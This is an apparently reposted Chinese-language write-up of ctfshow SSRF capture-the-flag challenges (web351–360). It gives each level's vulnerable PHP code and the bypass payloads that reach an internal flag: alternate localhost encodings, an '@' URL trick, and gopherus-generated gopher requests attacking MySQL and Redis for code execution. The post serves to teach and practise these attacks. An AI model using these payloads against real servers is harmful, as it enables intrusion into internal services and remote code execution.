ctfshow SSRF刷题总结

阅读: 评论:0

ctfshow SSRF刷题总结

ctfshow SSRF刷题总结

题目目录

    • web351
    • we352
    • web353
    • web354
    • web355 ,356
    • web357
    • web358
    • web359
    • web360

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

直接POST url=127.0.0.1/flag.php

we352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker

过滤了localhost和127.0.0.
学习了一下 可以用127.0.1 、127.1、 127。0.0.1 或者转成16进制 2进制 进行

url=0x7F.0.0.1/flag.php   16进制
url=0177.0.0.1/flag.php    8进制
url=.php
url=0/flag.php
url=127.127.127.127/flag.php

突然想试一下短链接 。。。 结果好像不行 呜呜呜’

web353

if(!preg_match('/localhost|127.0.|。/i', $url))
127.1

web354

if(!preg_match('/localhost|1|0|。/i', $url))

现在已经不能出现0和1了

web355 ,356

限制了host的长度 但0 好啊!

0/flag.php

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {die('ip!');
}echo file_get_contents($_POST['url']);
}
else{die('scheme');
}
?>

相关文章

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http://ctf..*show$/i',$url)){echo file_get_contents($url);
}
ctf.@127.0.0.1/flag.php?show

web359

攻击点在returl

用 gopherus 工具生成攻击mysql的请求
python gopherus.py --exploit mysql

要记得url编码
之后可以rce

web360

打redis

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

还是利用gopherus 直接打

本文发布于:2024-01-28 08:39:13,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/17064023576171.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

上一篇:CTFHUB SSRF
标签:ctfshow   SSRF
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23